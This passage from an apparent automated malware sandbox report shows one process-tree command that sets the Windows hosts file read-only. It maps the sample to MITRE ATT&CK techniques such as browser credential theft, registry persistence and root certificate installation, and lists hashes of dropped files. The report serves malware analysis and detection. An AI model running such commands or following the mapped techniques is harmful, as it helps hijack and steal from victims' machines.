    attrib +r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Drops file in Drivers directory
    - Views/modifies file attributes
    PID:2836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 44d8dc22122a4d87fc6875f94d1c20dfefb5afe3032b4dd675975513548368f6
MD5 f59c8dc7f8d526850d62db102411a74c
SHA1 81931128cb8bbcd76995177dea8abdef11c89ab9
SHA512 0ac0b46592ca65b81e4b57e3774ce7f574fcab32ba14c3348d7ca61f927209e748402162a4289a32611343bed8880bd4e1ff0064d7690cf2fea6906f734b6ce8
TLSH
T1FA216837B3DC8610C89E413A10CDAD5036B6CBDB80DECE5B6B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

RES6EAE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp
Size 1KB
SHA256 daa9d48654d68d1e2fa344c76927e4c4c5666c14f407aaa21f9af1c17848544a
MD5 5c0eaa8da8da53615a90841873ce8eed
SHA1 27c2866501ba96fa05ed9e34a32caa70c5e66181
SHA512 86e4314b7874f246c1e5eb1caf8ca74adac1e858267f16392d16876986bbfd61ccf3012545d17ed3b321a54a3356a50059f3efadb44d0bdc1e6953b77eface18
TLSH
T14A218C0593E98B1FF4B3473169F6532FA278FD65EFA2575A8540022C1C12218EFA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RtkAud64.exe

Path C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
Size 10.6MB
SHA256 f7ef1ea60a91ca7b41d602847b4b8eb5e0b340a37b7961075c9bae4a1c69b55a
MD5 07b52020cfa57310489e126637f14286
SHA1 fb921bc1f116a072b5b67177705d4ea4b64e7530
SHA512 39fb7bdc26b353ba61d02c69435a21a83a5d314442c894c7942311dc1726e6e65a97f09d6a8df318d9fbcdc2b8d1a0cf4b85f734c0610905675d5c28aa896297
SSDEEP 98304:akeD8WPu8hELBeiFyR2kRPhAhTTc0A1TH5umvBh8huTE3EU3:abPm5gR2kdhAhTT85+0U3
TLSH
T168B64A57ECA551E5C0AE8175CA329622BB713C899F3063D36B60F6242F37BD0ADB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_b4cieksi.vcy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4cieksi.vcy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\nRfnFcyy5e\Display (1).png
Size 546KB
SHA256 32c16c4d9878391ec79714f92cdb56165ea9d04c7aa26f973b829f3c72c3ac63
MD5 458b838fc77d2c41b10cb264ee3b2c0d
SHA1 24c62329f3fa4aa2511e9e98f22cbd682393f93b
SHA512 d1478001a4474645ea65bf05a086ab76f07dacef9cd67d4bd21a0bb7f863388ef119266d5f56e604aa0922b9ab19229dfdda49989ff866aa2e967a8599288bb5
SSDEEP 12288:kpgE+XtEEtdYNSkh3iaPmPR6UYsFdhyFO3AoXuTjNrjnP:kG9NdW3sCsAUAY0prP
TLSH
T1AFC4239930B2941C6CEA247AFF411FC42B0011BBDC3D465BD271265C7062F79B8AAB5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ph1fsaax.dll

Path C:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.dll
Size 4KB
SHA256 952f4b5b2e7c00329133cfdeded94bcd8282f77e22d4130734e682543e43d57b
MD5 5d7bd345d91768df626f7f9f99901e4b
SHA1 8b4c987f74f04a02ac432bd1a2abc688770e4700
SHA512 0874620035508ef48f449e8e10c19cd262b3ba55bb7d3966a14c46577ae312983e75ab2ec935a0f2d28e69f73161d860dad3fb7fe4f2b1765d1a96106933207f
TLSH
T11F81341693D885BAF47F0B757DE383071775A9209B22E34F1C84126CAC313606B25FB5
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
TLSH
T184511117068D90FC22B101BDC41FA61EE24E93A305DFFDC9798DBE5E274177822562B1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE844CE0DF8824EF294783A6AD13A5DC.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\CSCE844CE0DF8824EF294783A6AD13A5DC.TMP
Size 652B
SHA256 1b51221104b3c043c62c003dc741d76566fe8a47fa82019bfa61eaabde630232
MD5 7ce9c64f09ec46d29ef68b1e9e878391
SHA1 d593374071f43113156250c89709ddb9c5cdf42a
SHA512 73c0fdd26550c0c4d23feaf1e6d9918270b7ce02dcc30c8b8e04080098b9c7ae0ad54c56e06edde4e597a181526b53f0b5b2fd2545c46160dd8a2c5c0a433439
TLSH
T11BF05E4A63F8020EF0F34B30BEF6436391A9BC65EE3293ED1440031D6864510CA72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ph1fsaax.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

ph1fsaax.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.cmdline
Size 607B
SHA256 929193e7012f7894fe668a0692f06e6c1d431a3170e2e1f3cf092e611f8e316b
MD5 db38f9df28c3752a26efa8a81583dfb6
SHA1 36ec0c47cb08d5b16fde45ada2a0547d8be5f557
SHA512 47d0719af0adf58383c64c83a824c2408570e4653820b14f1e5420ca4509080097a2abd43d5e7af6802ed56818ed545524976cac1a4c8ccb8ec06778a573e5ab
TLSH
T1B1F0AC35033BCABE81ED3403156ECAACC2734B6B3081EF4C6586881EE56B6001F91B91
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1480-17-0x0000023F416B0000-0x0000023F416BA000-memory.dmp

Download

memory/1480-16-0x0000023F41960000-0x0000023F41A12000-memory.dmp

Download

memory/1480-15-0x0000023F41690000-0x0000023F416AE000-memory.dmp

Download

memory/1480-10-0x0000023F415F0000-0x0000023F41612000-memory.dmp

Download

memory/5108-43-0x0000024372620000-0x0000024372628000-memory.dmp

Download

memory/6884-28-0x00000192A7450000-0x00000192A7502000-memory.dmp

Download